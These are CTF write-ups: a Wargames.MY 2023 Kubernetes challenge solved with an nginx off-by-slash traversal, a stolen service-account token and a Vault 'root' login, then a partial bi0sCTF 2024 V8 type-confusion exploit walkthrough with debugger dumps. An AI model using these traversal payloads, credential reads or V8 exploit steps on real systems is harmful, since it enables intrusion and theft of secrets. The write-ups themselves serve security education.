WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PROTO=tcp
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.0
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.0.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.3.0.tar.xz
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP=tcp://10.43.246.102:80
WGMY_WEBTESTONETWOTHREE_BACKEND_SERVICE_PORT_FASTCGI=9000
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP_ADDR=10.43.144.2
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP_PORT=9000
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT_HTTP=80
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP_PROTO=tcp
DEPLOY=wgmy-webtestonetwothree-frontend
WGMY_WEBTESTONETWOTHREE_BACKEND_SERVICE_HOST=10.43.144.2
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_HOST=10.43.246.102
PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT_9000_TCP=tcp://10.43.144.2:9000
KUBERNETES_SERVICE_HOST=10.43.0.1
PWD=/var/www/api
PHP_SHA256=1db84fec57125aa93638b51bb2b15103e12ac196e2f960f0d124275b2687ea54
WGMY_WEBTESTONETWOTHREE_BACKEND_PORT=tcp://10.43.144.2:9000
WGMY_WEBTESTONETWOTHREE_BACKEND_SERVICE_PORT=9000
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT=tcp://10.43.246.102:80
Seems like we are currently on the backend which serves the API endpoint while the initial page with password input box that we interact with is the frontend.
The next thing that we could do is to see what actions we could perform on the k8s cluster.
$ kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
configmaps [] [] [get]
deployments.apps [] [wgmy-webtestonetwothree-frontend] [get]
Most of the permissions are default like interacting with the k8s master API endpoints. The one that is useful for us is the last 2 lines.
- the second last line means that we could
get
anyconfigmaps
data - the last line means that we could
get
onlydeployments
data namedwgmy-webtestonetwothree-frontend
Getting Deployments Data
To get the deployments
data simply do kubectl get deployments <resource name>
.
Optionally we could also be more specific by specify the namespace (from /var/www/api/status.php
)
kubectl -n wgmy get deployments <resource name>
.
$ kubectl get deployments wgmy-webtestonetwothree-frontend
NAME READY UP-TO-DATE AVAILABLE AGE
wgmy-webtestonetwothree-frontend 2/2 2 2 35h
$ kubectl get deploy wgmy-webtestonetwothree-frontend -o yaml
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
meta.helm.sh/release-name: wgmy-webtestonetwothree
meta.helm.sh/release-namespace: wgmy
creationTimestamp: "2023-12-15T14:14:18Z"
generation: 2
labels:
app.kubernetes.io/instance: wgmy-webtestonetwothree
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: frontend
app.kubernetes.io/version: 0.1.0
helm.sh/chart: frontend-0.1.0
name: wgmy-webtestonetwothree-frontend
namespace: wgmy
resourceVersion: "28477"
uid: a8c63194-0eb2-4005-abe2-14138c2b615b
spec:
progressDeadlineSeconds: 600
replicas: 2
revisionHistoryLimit: 10
selector:
matchLabels:
app.kubernetes.io/instance: wgmy-webtestonetwothree
app.kubernetes.io/name: frontend
strategy:
rollingUpdate:
maxSurge: 25%
maxUnavailable: 25%
type: RollingUpdate
template:
metadata:
annotations:
vault.hashicorp.com/agent-inject: "true"
vault.hashicorp.com/agent-inject-secret-flag: kv/data/flag_for_secret
vault.hashicorp.com/role: wgmy
creationTimestamp: null
labels:
app.kubernetes.io/instance: wgmy-webtestonetwothree
app.kubernetes.io/name: frontend
spec:
containers:
- image: nginx:1.25-alpine
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 3
httpGet:
path: /
port: http
scheme: HTTP
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
name: frontend
ports:
- containerPort: 80
name: http
protocol: TCP
readinessProbe:
failureThreshold: 3
httpGet:
path: /
port: http
scheme: HTTP
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
resources: {}
securityContext: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /usr/share/nginx/html
name: html
- mountPath: /etc/nginx/conf.d
name: conf
- mountPath: /usr/share/nginx/.lemme_try_hiding_flag_with_dot_in_front
name: flag
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: wgmy-webtestonetwothree-frontend
serviceAccountName: wgmy-webtestonetwothree-frontend
terminationGracePeriodSeconds: 30
volumes:
- configMap:
defaultMode: 420
name: wgmy-webtestonetwothree-frontend-html
name: html
- configMap:
defaultMode: 420
name: wgmy-webtestonetwothree-frontend-conf
name: conf
- name: flag
secret:
defaultMode: 420
items:
- key: flag
path: flag_for_status
secretName: wgmy-webtestonetwothree-frontend-flag
status:
availableReplicas: 2
conditions:
- lastTransitionTime: "2023-12-15T14:14:18Z"
lastUpdateTime: "2023-12-15T14:14:20Z"
message: ReplicaSet "wgmy-webtestonetwothree-frontend-556ccd7cf" has successfully
progressed.
reason: NewReplicaSetAvailable
status: "True"
type: Progressing
- lastTransitionTime: "2023-12-16T14:43:01Z"
lastUpdateTime: "2023-12-16T14:43:01Z"
message: Deployment has minimum availability.
reason: MinimumReplicasAvailable
status: "True"
type: Available
observedGeneration: 2
readyReplicas: 2
replicas: 2
updatedReplicas: 2
We could see that there are interesting strings like:
.lemme_try_hiding_flag_with_dot_in_front
wgmy-webtestonetwothree-frontend-flag
flag_for_status
kv/data/flag_for_secret
(for the other challenge namedsecret
)
note
Alternative way to retrieve this data without kubectl
is through the API
endpoint directly, see appendix
Retrieving nginx
Config from configmaps
Notice the following snippet:
[...]
volumeMounts:
- mountPath: /usr/share/nginx/html
name: html
- mountPath: /etc/nginx/conf.d
name: conf
- mountPath: /usr/share/nginx/.lemme_try_hiding_flag_with_dot_in_front
name: flag
[...]
volumes:
- configMap:
defaultMode: 420
name: wgmy-webtestonetwothree-frontend-html
name: html
- configMap:
defaultMode: 420
name: wgmy-webtestonetwothree-frontend-conf
name: conf
- name: flag
secret:
defaultMode: 420
items:
- key: flag
path: flag_for_status
secretName: wgmy-webtestonetwothree-frontend-flag
[...]
I assume that the name
under volumeMounts
refers to the name
under volumes
.
Hence, the nginx
config can be retrieved from wgmy-webtestonetwothree-frontend-conf
$ kubectl get configmaps wgmy-webtestonetwothree-frontend-conf -o yaml
apiVersion: v1
data:
default.conf: |
set_real_ip_from 10.42.0.0/16;
real_ip_header X-Real-IP; # from traefik
server {
listen 80;
server_name _;
location / {
root /usr/share/nginx/html;
index index.html;
}
location /static {
alias /usr/share/nginx/html/;
add_header Cache-Control "private, max-age=3600";
}
location /api/ {
include /etc/nginx/fastcgi_params;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www$fastcgi_script_name;
fastcgi_pass wgmy-webtestonetwothree-backend:9000;
}
location /internal-secret/ {
allow 10.42.0.0/16;
deny all;
proxy_pass http://vault.vault:8200/;
}
}
kind: ConfigMap
metadata:
annotations:
meta.helm.sh/release-name: wgmy-webtestonetwothree
meta.helm.sh/release-namespace: wgmy
creationTimestamp: "2023-12-15T14:14:18Z"
labels:
app.kubernetes.io/instance: wgmy-webtestonetwothree
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: frontend
app.kubernetes.io/version: 0.1.0
helm.sh/chart: frontend-0.1.0
name: wgmy-webtestonetwothree-frontend-conf
namespace: wgmy
resourceVersion: "1726"
uid: 5a73676b-f509-44b0-8e2d-e921eb4cf7b4
set_real_ip_from 10.42.0.0/16;
real_ip_header X-Real-IP; # from traefik
server {
listen 80;
server_name _;
location / {
root /usr/share/nginx/html;
index index.html;
}
location /static {
alias /usr/share/nginx/html/;
add_header Cache-Control "private, max-age=3600";
}
location /api/ {
include /etc/nginx/fastcgi_params;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www$fastcgi_script_name;
fastcgi_pass wgmy-webtestonetwothree-backend:9000;
}
location /internal-secret/ {
allow 10.42.0.0/16;
deny all;
proxy_pass http://vault.vault:8200/;
}
}
We could see that there is off-by-slash
on /static
which allows us to
read the .lemme_try_hiding_flag_with_dot_in_front/flag_for_status
file by
accessing /static../.lemme_try_hiding_flag_with_dot_in_front/flag_for_status
$ env | grep FRONTEND
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_ADDR=10.43.246.102
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PROTO=tcp
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP=tcp://10.43.246.102:80
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT_HTTP=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_HOST=10.43.246.102
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT=tcp://10.43.246.102:80
$ nslookup 10.43.246.102
Server: 10.43.0.10
Address: 10.43.0.10:53
102.246.43.10.in-addr.arpa name = wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
$ curl -s -L http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/static../.lemme_try_hiding_flag_with_dot_in_front/flag_for_status
wgmy{21c47f8225240bd1b87e9060986ddb4f}
$ curl -s -L http://10.43.246.102/static../.lemme_try_hiding_flag_with_dot_in_front/flag_for_status
wgmy{21c47f8225240bd1b87e9060986ddb4f}
flag: wgmy{21c47f8225240bd1b87e9060986ddb4f}
Next, we would look at the other nginx
endpoint, i.e., /internal-secret
to get the other flag.
References
- https://kubernetes.io/docs/reference/using-api/api-concepts/#resource-uris
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf#page=19
Appendix
Getting k8s serviceaccount Token
To interact with the API, we need to get the serviceaccount
token.
$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6Im5oUXBoT0FLNVY5U2llMDR2ZFpfeDByYlpCVEtRQlVDUlB[...]
$ export k8s_token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
Getting Other Services IP and Domain Name
Next, we can use the token in the HTTP header Authorization: Bearer <token>
and
use curl
on the k8s master ip which can be retrieved from the environment variable
or use the domain name by reverse nslookup the IP or follow the naming convention
$ env | grep ^KUBERNETES
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.43.0.1
Example of converting the domain name manually:
FOO_BAR_SERVICE
replace `_` with `-` until the word `_SERVICE` and append `.<namespace>.svc.cluster.local`
if namespace is default -> foo-bar.default.svc.cluster.local
if namespace is wgmy -> foo-bar.wgmy.svc.cluster.local
WGMY_WEBTESTONETWOTHREE_FRONTEND_SERVICE -> wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
Refer to this documentation
on how to determine the API endpoint. Furthermore, you can browse /apis
and use the name
field to build the next part after /apis
$ curl -s -k -H "Authorization: Bearer ${k8s_token}" https://kubernetes.default.svc.cluster.local/apis/ | grep name
"name": "apiregistration.k8s.io",
"name": "apps",
"name": "events.k8s.io",
"name": "authentication.k8s.io",
"name": "authorization.k8s.io",
"name": "autoscaling",
"name": "batch",
"name": "certificates.k8s.io",
"name": "networking.k8s.io",
"name": "policy",
"name": "rbac.authorization.k8s.io",
"name": "storage.k8s.io",
"name": "admissionregistration.k8s.io",
"name": "apiextensions.k8s.io",
"name": "scheduling.k8s.io",
"name": "coordination.k8s.io",
"name": "node.k8s.io",
"name": "discovery.k8s.io",
"name": "flowcontrol.apiserver.k8s.io",
"name": "helm.cattle.io",
"name": "k3s.cattle.io",
"name": "traefik.containo.us",
"name": "traefik.io",
"name": "metrics.k8s.io",
Getting stuff via API
warning
Disclaimer: The first attempt that I did was just trial-and-error before noticing the pattern (which could be wrong as well)
I use /apis/apps
from the assumption of kubectl auth can-i --list
output: deployments.apps
curl -s -k -H "Authorization: Bearer ${k8s_token}" https://kubernetes.default.svc.cluster.local/apis/apps/v1/namespaces/wgmy/deployments/wgmy-webtestonetwothree-frontend
I use /api
directly based on the assumption that since the kubectl auth can-i --list
output is only: configmaps
curl -s -k -H "Authorization: Bearer ${k8s_token}" https://kubernetes.default.svc.cluster.local/api/v1/namespaces/wgmy/configmaps/wgmy-webtestonetwothree-frontend-conf
Secret
Keywords
Wargames.MY CTF 2023, web, k8s, HashiCorp VaultSeries
TL;DR
Read secret from HashiCorp vault using the vault
CLI and using nginx
off-by-slash
Initial Analysis
From the nginx
config that we retrieved previously, we could see that
/internal-secret
is only accessible from 10.42.0.0/16
and our pod IP address
happens to be inside this range.
set_real_ip_from 10.42.0.0/16;
real_ip_header X-Real-IP; # from traefik
server {
listen 80;
server_name _;
location / {
root /usr/share/nginx/html;
index index.html;
}
location /static {
alias /usr/share/nginx/html/;
add_header Cache-Control "private, max-age=3600";
}
location /api/ {
include /etc/nginx/fastcgi_params;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www$fastcgi_script_name;
fastcgi_pass wgmy-webtestonetwothree-backend:9000;
}
location /internal-secret/ {
allow 10.42.0.0/16;
deny all;
proxy_pass http://vault.vault:8200/;
}
}
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if43: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP
link/ether be:b6:bd:c6:e7:57 brd ff:ff:ff:ff:ff:ff
inet 10.42.0.36/24 brd 10.42.0.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::bcb6:bdff:fec6:e757/64 scope link
valid_lft forever preferred_lft forever
Accessing /internal-secret/
If we try to do access it via the frontend IP address from the backend pod,
we could see that it tries to redirect to /ui/
but then returns 404 Not Found
$ curl -s -v http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/internal-secret/
* Host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local:80 was resolved.
* IPv6: (none)
* IPv4: 10.43.246.102
* Trying 10.43.246.102:80...
* Connected to wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local (10.43.246.102) port 80
> GET /internal-secret/ HTTP/1.1
> Host: wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.25.3
< Date: Sun, 17 Dec 2023 02:53:35 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 40
< Connection: keep-alive
< Cache-Control: no-store
< Location: /ui/
< Strict-Transport-Security: max-age=31536000; includeSubDomains
<
{ [40 bytes data]
<a href="/ui/">Temporary Redirect</a>.
* Connection #0 to host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local left intact
$ curl -s -v -L http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/internal-secret/
* Host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local:80 was resolved.
* IPv6: (none)
* IPv4: 10.43.246.102
* Trying 10.43.246.102:80...
* Connected to wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local (10.43.246.102) port 80
> GET /internal-secret/ HTTP/1.1
> Host: wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.25.3
< Date: Sun, 17 Dec 2023 02:53:40 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 40
< Connection: keep-alive
< Cache-Control: no-store
< Location: /ui/
< Strict-Transport-Security: max-age=31536000; includeSubDomains
<
* Ignoring the response-body
* Connection #0 to host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local left intact
* Issue another request to this URL: 'http://wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local/ui/'
* Found bundle for host: 0x7fb7009e00e0 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection with host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> GET /ui/ HTTP/1.1
> Host: wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Server: nginx/1.25.3
< Date: Sun, 17 Dec 2023 02:53:40 GMT
< Content-Type: text/html
< Content-Length: 153
< Connection: keep-alive
<
{ [153 bytes data]
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.25.3</center>
</body>
</html>
* Connection #0 to host wgmy-webtestonetwothree-frontend.wgmy.svc.cluster.local left intact
If we instead directly access http://vault.vault:8200
, we could see some result.
However, there is nothing much interesting from the return page. Recall from previous
deployments data, we could see there is vault.hashicorp.com
which hints me to
research more about hashicorp vault kubernetes
on google. Link to the findings can
be found here
Interacting with the Vault
The next thing to do is to download the vault CLI standalone binary to the k8s pod.
$ wget https://releases.hashicorp.com/vault/1.15.4/vault_1.15.4_linux_amd64.zip
Connecting to releases.hashicorp.com (18.155.68.21:443)
saving to 'vault_1.15.4_linux_amd64.zip'
vault_1.15.4_linux_a 0% | | 54115 0:41:24 ETA
vault_1.15.4_linux_a 100% |********************************| 128M 0:00:00 ETA
'vault_1.15.4_linux_amd64.zip' saved
$ unzip *.zip
Archive: vault_1.15.4_linux_amd64.zip
inflating: vault
$ chmod +x vault
$ ./vault --version
Vault v1.15.4 (9b61934559ba31150860e618cf18e816cbddc630), built 2023-12-04T17:45:28Z
Next, we set the environment variable VAULT_ADDR
and authenticate. I actually
got lucky on trying to login with root
as the argument.
$ export VAULT_ADDR=http://vault.vault:8200
$ ./vault login root
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token root
token_accessor aPpqqqicK0QC4ZW9t1hZ244c
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
$ ./vault read kv/data/flag_for_secret
Key Value
--- -----
data map[flag_for_secret:wgmy{352ce22be3caed452e616b655db7cb20}]
metadata map[created_time:2023-12-15T13:42:49.553430131Z custom_metadata:<nil> deletion_time: destroyed:false version:1]
flag: wgmy{352ce22be3caed452e616b655db7cb20}
Alternative Solution
Based on this link, the secret is injected somewhere in the filesystem.
vault.hashicorp.com/agent-inject-secret-database-config.txt: 'internal/data/database/config'
agent-inject-secret-FILEPATH
prefixes the path of the file,database-config.txt
written to the/vault/secrets
directory. The value is the path to the secret defined in Vault.
Thus, looking at the deployments metadata, we could see that the flag could be
retrieved from /vault/secrets/flag
by leveraging the previous nginx
misconfiguration LFI.
vault.hashicorp.com/agent-inject: "true"
vault.hashicorp.com/agent-inject-secret-flag: kv/data/flag_for_secret
vault.hashicorp.com/role: wgmy
Payload:
http://warmup.wargames.my/static../../../../../../../../vault/secrets/flag
References
- https://www.digitalocean.com/community/tutorials/how-to-securely-manage-secrets-with-hashicorp-vault-on-ubuntu-20-04
- https://developer.hashicorp.com/vault/tutorials/kubernetes/kubernetes-sidecar
- https://developer.hashicorp.com/vault/install#Linux
- https://developer.hashicorp.com/vault/tutorials/getting-started/getting-started-authentication
bi0sCTF 2024
pwn
Challenge Name | Keywords | Summary |
---|---|---|
ezv8 revenge | browser, V8, type confusion, V8 sandbox, wasm | CVE-2020-6418 type confusion on V8 version 12.2.0 (27 Dec 2023) |
ezv8 revenge
Author: spektre
Description: Looks like we have some reliability issues here; what could possibly go wrong?
Attachment: ezv8revenge.tar.gz
Keywords
bi0sCTF 2024, pwn, browser, V8, type confusion, V8 sandbox, wasmtip
Some lines of code may be hidden for brevity.
Unhide the lines by clicking the eye
button on top right corner of the code block
TL;DR
- CVE-2020-6418 type confusion on V8 version 12.2.0 (27 Dec 2023)
- Type confusion to memory corruption to OOB access
- Hijack wasm instance's jump table starting address to jump into shellcode embedded inside JIT'd wasm code
Patch Analysis
The given patch is the reverse of the fix for CVE-2020-6418. I stumbled upon this
awesome N-day analysis written by Daniel when searching for kUnreliableMaps
. Detail on the root
cause would not be discussed here.
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 08149558722..6dabffbe8d1 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -448,7 +448,7 @@ NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
// We reached the allocation of the {receiver}.
return kNoMaps;
}
- result = kUnreliableMaps; // JSCreate can have side-effect.
+ // result = kUnreliableMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
As discussed in the linked blog post, the vulnerability happens when the array type has been
changed through Proxy
, but the JIT'd function which perform push()
/ pop()
operation still treats the array has the original type.
If an array is initialized with all elements of type double
, each element would
be stored as immediate value which takes up to 64-bit of memory space.
On the other hand, for an array with mixed element types, each element would be
stored as a pointer which takes up to 32-bit of memory space. Thus, if an array
is changed from all double
to mixed elements, there would be reallocation,
potentially from larger size to smaller size.
note
If you want to dive a bit deeper into V8 internals, you could read this little note that I have written.
Type Confusion to Memory Corruption
Let's have a look at the type confusion and how it leads to overwriting another object field. This is the script used for triggering the type confusion:
[1]
: Start of type confusion whenjitted = true
and goes into[2]
if block statement[2]
: reallocatesa
to elements that take up less space[3]
:oob_arr
object is allocated belowa.elements
, i.e., pointer tomap
andelements
, andlength
[4]
:oob_arr.elements
is allocated belowoob_arr
object[5]
:4.1835592388585281e-216
is pushed wherea
is still treated asHOLEY_DOUBLE_ELEMENTS
in the JIT'd code
Now, let's see it in action through debugger. Note that although after a.pop()
causes a.length == 7
and this changes are reflected on the a
JSArray
object,
the length
on the elements
is still 0x8
such that when a.push(x)
is called
it does not need to reallocate elements
.
tip
Use eval("%SystemBreak()")
to properly break into debugger when analysing the changes
caution
Initializing oob_arr
directly like so oob_arr = [1.1]
would make a difference
due to how the elements are initially allocated before the array object
Before [2]
note
Since debug version of d8
is extremely slow, it is advisable to use the
release version (provided that one is comfortable in pin pointing the object structure in memory)
a.elements
takes up 72
bytes
$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./pwn.js'
0x2833000ddf69 <JSArray[7]>
gef> tele 0x2833000ddf69-0x1 # &a
0x2833000ddf68|+0x0000|+000: 0x000006cd0018eff1 # map = 0x18eff1, properties = 0x6cd
0x2833000ddf70|+0x0008|+001: 0x0000000e000ddfa1 # elements = 0xdc599, length = 0xe >> 1 = 0x7
gef> tele 0x2833000ddfa1-0x1 # &a.elements
0x2833000ddfa0|+0x0000|+000: 0x0000001000000851 # map = 0x851, length = 0x10 >> 1 = 0x8
0x2833000ddfa8|+0x0008|+001: 0xfff7fffffff7ffff # a[0] the_hole_value
0x2833000ddfb0|+0x0010|+002: 0x3fb999999999999a # a[1] 0.1
0x2833000ddfb8|+0x0018|+003: 0xfff7fffffff7ffff # a[2] the_hole_value
0x2833000ddfc0|+0x0020|+004: 0xfff7fffffff7ffff # a[3] the_hole_value
0x2833000ddfc8|+0x0028|+005: 0xfff7fffffff7ffff # a[4] the_hole_value
0x2833000ddfd0|+0x0030|+006: 0xfff7fffffff7ffff # a[5] the_hole_value
0x2833000ddfd8|+0x0038|+007: 0xfff7fffffff7ffff # a[6] the_hole_value
0x2833000ddfe0|+0x0040|+008: 0xfff7fffffff7ffff # a[7] the_hole_value (popped)
0x2833000ddfe8|+0x0048|+009: 0x00000006001923c5
After [2]
a.elements
takes up40
bytes (0x2833000dedc4 - 0x2833000dedeb
)- followed by
HeapNumber
object for1.1
, takes up12
bytes (0x2833000dedec - 0x2833000dedf7
)
gef> c
0x2833000ddf69 <JSArray[7]>
gef> tele 0x2833000ddf69-0x1 # &a
0x2833000ddf68|+0x0000|+000: 0x000006cd0018f071
0x2833000ddf70|+0x0008|+001: 0x0000000e000dedc5 # elements changed to 0xdedc5
gef> tele 0x2833000dedc5-0x1 # &a.elements
0x2833000dedc4|+0x0000|+000: 0x0000001000000565 # map = 0x565
0x2833000dedcc|+0x0008|+001: 0x000deded000deda9 # 0xdeda9 is pointer to `{}`, 0xdeded is pointer to `HeapNumber 1.1`
0x2833000dedd4|+0x0010|+002: 0x000006e9000006e9 # 0x6e9 s pointer to `the_hole_value`
0x2833000deddc|+0x0018|+003: 0x000006e9000006e9
0x2833000dede4|+0x0020|+004: 0x000006e9000006e9
0x2833000dedec|+0x0028|+005: 0x9999999a000007b1 # @ 0xdedec is `HeapNumber 1.1`, map = 0x7b1, 0x3fb999999999999a = 1.1
0x2833000dedf4|+0x0030|+006: 0x001843c93fb99999
0x2833000dedfc|+0x0038|+007: 0x000006cd000006cd
0x2833000dee04|+0x0040|+008: 0x0022da110104c001
0x2833000dee0c|+0x0048|+009: 0x0022da81000de0c9
0x2833000dee14|+0x0050|+010: 0x00000605000006e9
After [4] & Before [5]
If we continue here, we notice that oob_arr
object is not allocated immediately
after the end of a.elements
. This may be caused by us breaking two times
previously. Thus, we need to remove the previous two %SystemBreak()
and re-run it.
let p = new Proxy(Object, {
get: function() {
if (jitted) {
a[0] = {};
oob_arr = Array(1);
oob_arr[0] = 1.1;
eval("%DebugPrint(a)")
eval("%DebugPrint(oob_arr)")
eval("%SystemBreak()")
}
return Object.prototype;
}
})
From the output below, we could see that our oob_arr
object is just after
a.elements
which is ideal for our exploitation later on.
$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./pwn.js'
0x154a000dbb81 <JSArray[7]>
0x154a000dbd79 <JSArray[1]>
gef> tele 0x154a000dbb81-0x1 # &a
0x154a000dbb80|+0x0000|+000: 0x000006cd0018f071
0x154a000dbb88|+0x0008|+001: 0x0000000e000dbd45 # a.elements = 0xdbd45
gef> tele 0x154a000dbd45-0x1 # &a.elements
0x154a000dbd44|+0x0000|+000: 0x0000001000000565 # a.elements.map = 0x565, a.elements.length = 0x10 >> 1 = 0x8
0x154a000dbd4c|+0x0008|+001: 0x000dbd6d000dbd29 # a[0] = 0xdbd29 (pointer to {}), a[1] = 0xdbd6d (pointer to HeapNumber 1.1)
0x154a000dbd54|+0x0010|+002: 0x000006e9000006e9 # a[2] = the_hole_value, ...
0x154a000dbd5c|+0x0018|+003: 0x000006e9000006e9
0x154a000dbd64|+0x0020|+004: 0x000006e9000006e9
0x154a000dbd6c|+0x0028|+005: 0x9999999a000007b1 # HeapNumber 1.1
0x154a000dbd74|+0x0030|+006: 0x0018eff13fb99999 # oob_arr.map = 0x18eff1 (@ 0x154a000dbd78)
0x154a000dbd7c|+0x0038|+007: 0x000dbd95000006cd # oob_arr.properties = 0x6cd, oob_arr.elements = 0xdbd95
0x154a000dbd84|+0x0040|+008: 0x0000056500000002 # oob_arr.elements.length = 0x2 >> 1 = 0x1
0x154a000dbd8c|+0x0048|+009: 0x000006e900000002
0x154a000dbd94|+0x0050|+010: 0x0000000200000851 # oob_arr.elements.map = 0x851, oob_arr.elements.length = 0x2 >> 1 = 0x1
0x154a000dbd9c|+0x0058|+011: 0x3ff199999999999a # hexadecimal representation for `1.1`
0x154a000dbda4|+0x0060|+012: 0x0000000200000851
0x154a000dbdac|+0x0068|+013: 0x4000cccccccccccd
0x154a000dbdb4|+0x0070|+014: 0x000006cd0018efb1
0x154a000dbdbc|+0x0078|+015: 0x00000002000dbdcd
After [5]
Now when 4.1835592388585281e-216
